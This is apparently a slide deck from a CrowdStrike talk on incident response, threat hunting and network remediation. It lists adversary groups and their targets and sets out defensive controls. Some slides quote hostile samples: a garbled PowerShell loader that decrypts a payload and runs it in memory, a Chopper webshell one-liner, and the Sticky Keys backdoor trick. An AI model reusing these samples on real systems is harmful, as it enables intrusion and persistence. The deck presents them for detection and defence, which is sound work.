THE NEW STATE OF INCIDENT RESPONSE

REMEDIATING UNDER FIRE

Wendi Rafferty, Vice President of CrowdStrike Services
Christopher Scott, Director of Remediation CrowdStrike Services
Introductions

Adversaries and Targets

IR Evolution and Best Practice
  • Hunting
  • Remediation

Case Study(s)

Wrap-up and Questions (Questions ANYTIME)
INTRODUCTIONS
12+ YEARS

Incident response experience, including a career as an Air Force OSI Special Agent

PRIOR TO CROWDSTRIKE

Managing Director for Mandiant’s Los Angeles office. Led a team of consultants that responded to breaches all over the world

CONNECT

LINKEDIN: Wendi Rafferty
TWITTER: @WendiLou2

WENDI RAFFERTY
VP, CROWDSTRIKE SERVICES
Defended networks for the Defense Industrial Base

Conducting security assessment, incident response, insider threat analysis, and security architecture.

PRIOR TO CROWDSTRIKE

CONNECT

LINKEDIN: Christopher Scott
TWITTER: @NetOpsGuru

CHRISTOPHER SCOTT
DIRECTOR OF REMEDIATION
ADVERSARIES AND TARGETS
Comment Panda: Commercial, Government, Non-profit
Deep Panda: Financial, Technology, Non-profit
Foxy Panda: Technology & Communications
Anchor Panda: Government organizations, Defense & Aerospace, Industrial Engineering, NGOs
Impersonating Panda: Financial Sector
Karma Panda: Dissident groups
Keyhole Panda: Electronics & Communications
Poisonous Panda: Energy Technology, G20, NGOs, Dissident Groups
Putter Panda: Governmental & Military
Toxic Panda: Dissident Groups
Union Panda: Industrial companies
Vixen Panda: Government

Energetic Bear: Oil and Gas Companies
Magic Kitten: Dissidents
Cutting Kitten: Energy Companies
Viceroy Tiger: Government, Legal, Financial, Media, Telecom

Deadeye Jackal: Commercial, Financial, Media, Social Networking
Ghost Jackal: Commercial, Energy, Financial
Corsair Jackal: Commercial, Technology, Financial, Energy
Extreme Jackal: Military, Government

Singing Spider: Commercial, Financial
Union Spider: Manufacturing
Andromeda Spider: Numerous
INCIDENT RESPONSE & HUNTING

EVOLUTION AND BEST PRACTICE
Long Long Ago

- Remove affected machine from network immediately
- Collect data from one machine at a time

Not So Long Ago

- Automation!
- Search for indicators of compromise
- Clean entire network before beginning to remediate

Today

- Track attackers and actively hunt for them in real-time
- Search for indicators of attack
- Begin posturing for remediation on Day 1 of IR
INDICATORS OF COMPROMISE ARE NOT INTELLIGENCE. WE ARE STILL TRACKING HUMAN BEHAVIORS AND ATTACK METHODOLOGY. YOU CANNOT ONLY FOLLOW THE MALWARE AND EXPECT TO BE SUCCESSFUL.
We need a shift in detection capabilities from indicators of compromise to **Indicators of Attack**
HUNTING THE ADVERSARY

• Types of Hunting
  – Network
  – Servers
  – Workstations
  – Malware vs Adversary

• Challenges with Hunting
  – Memory Resident Malware
    • PowerShell
  – Encryption Techniques
  – Malware Free Attacks
    • Sticky Keys – Yes It’s Back with Other Similar Techniques
    • WebShells
• Challenges
  – Must “sweep” when malware is running
  – No disk forensics
  – New attacks are launching remotely from other machines
  – PowerShell techniques (More on this shortly)

• Ways to Hunt
  – WMI Events in Log Files
    • Attackers are clearing these logs now
    • Could clearing all the event logs files using the CLI be an IOA?
POWERSHELL FUN

```powershell
[System.Net.ServicePointManager].ServerCertificateValidationCallback = { [true]
$wc = New-Object -TypeName System.Net.WebClient
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.5") + ([IntPtr].Size - 1).ToString() )
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0")
$mdn = Get-Random
$wc.Headers.Add("Cookie", "p=" + $mdn )
$passphrase = "CustomPassPhrase"
$salt = "CustomSalt"
$salt = [System.Text.Encoding]:UTF8.GetBytes($salt)
$s = $r.CreateDecryption()
$ms = new-Object IO.MemoryStream @($data)
$sdfs = New-Object System.IO.Compression.GZipStream $scs, ([IO.Compression.CompressionMode]: Decompress)
$smout = New-Object System.IO.MemoryStream
[byte][]$buffer = new-object byte[] 4096
[int]$count = 0
$do
($count -gt 0)
$sdfs.Read($buffer, 0, $buffer.Length)
$smout.Write($buffer, 0, $count)
while($count -gt 0)
$scs.Close()
$scs.Close()
$ms.Close()
$r.Clear()
[byte][]$bin = $smout.ToArray()
$sal = New-Object -TypeName System.Collections.ArrayList
$sal.Add($bin)
$asm = [System.Reflection.Assembly].Load($bin)
$asm.EntryPoint.Invoke($null, $sal.ToArray())
sleep 5
exit
```
**POWERSHELL FUN**

• Encryption Routine

```powershell
6 $wc.Headers.Add("Cookie", "p=" + $rmdn)
9 $Passphrase = "CustomPassPhrase"
10 $salts = "CustomSalt"
12 $pass = [System.Text.Encoding]:.UTF8.GetBytes($Passphrase)
16 $d = $r.CreateDecryptor()
```
POWERSHELL FUN

• Load to Memory

```powershell
$ms = new-Object IO.MemoryStream (@($data)
$dfs = New-Object System.IO.Compression.GzipStream $cs, ([IO.Compression.CompressionMode]::Decompress)
$msout = New-Object System.IO.MemoryStream
[byte[]]$buffer = new-object byte[] 4096
[int]$count = 0
do
{
    $count = $dfs.Read($buffer, 0, $buffer.Length)
    $msout.Write($buffer, 0, $count)
} while ($count -gt 0)
$dfs.Close()
$cs.Close()
$ms.Close()
```
WEBSHELL TECHNIQUES

• Webshells on Internal Systems
  – Exchange Server
  – Using your SSL certificates against you

• Which of these is the Chopper WebShell?
  – <%= Page Language="Jscript"%><%=eval(Request.Item["password"]."unsafe");%>
  – <%=WebServices.InitalizeWebServices("Citrix.Systems.lme");%>
MALWARE FREE ATTACKS

• Already Covered Webshells
• Remote Desktop
  – Sticky Keys (SETHC.EXE)
    • Debugger
    • Replace cmd.exe for sethc.exe
  – On Screen Keyboard, Utility Manager, Magnifying Glass, Narrator
    • Debugger
REMEDIATION

GETTING BACK TO “NORMAL”
STAGES OF REMEDIATION

POSTURING

COORDINATED REMEDIATION EVENT

POST-REMEDICATION ACTIVITIES
KEY REMEDIATION CONTROLS

• Privileged Account Control
  – Accounts are expired when not in use, unique daily passwords
  – Force adversaries to cross “trip wires”
  – Layered Accounts
    • Domain Admins
    • Server Admins
    • Workstation Admins

• No “Lord of the Rings” Account
  – No one account to rule them all!
KEY REMEDIATION CONTROLS

• Application Controls
  – Software Restriction Policies – Do You Use These?
  – AppLocker

• Local Administrator Accounts
  – Must be a Local Administrator to steal a Credential
KEY REMEDIATION CONTROLS

• Push vs Pull Software Configurations
  – No single account with access to every machine
  – Challenge when someone tells you it is best practice
  – SCCM Best Practice allows for this configuration

• Why Would You Allow a Vendor to Dictate Your Security Posture?
  – Just for my software – “My Precious”
KEY REMEDIATION CONTROLS

• Signed Scripts
  – The amount of “power” in PowerShell should force this
  – Powercat anyone???
    • Netcat in PowerShell
    • DNS C2 option
    • File upload/download

• Repeat After Me – “Signed Scripts”
KEY REMEDIATION CONTROLS

• Do You Really Know? Don’t Be a “Target”!
  – Is that .ASPX file a system file?
  – Does that one line of code call a malicious DLL?
  – Ask questions
  – Test theories
  – Understand alerts

• Repeating – Ask Questions, Ask Questions, Ask Questions
  – If it doesn’t look right, it likely isn’t

• Is All Hope Lost?
THE NETWORK PERIMETER IS ___________?
HOST VISIBILITY – THE NETWORK PERIMETER IS SHRINKING

• Tough Outer Shell
  – Moving more towards servers
  – Workstations are outside of the perimeter

• M&M Networks Have Changed
  – The Gooey Center is outside of the hard candy shell
  – Security is “melting” along with it

• What is Needed?
  – Real-time monitoring
  – Any-where monitoring
  – Adversary TTP focused – not malware focused
THE SHIFT IN attacker TTPS IS A DIRECT RESULT OF BETTER INCIDENT RESPONSE TEAMS AND INCREASED SHARING OF INDICATORS AND INTELLIGENCE.
AN ORGANIZATION’S SUCCESS WILL BE MEASURED BY THE ABILITY TO DETECT, RESPOND, AND MITIGATE INDICATORS OF ATTACK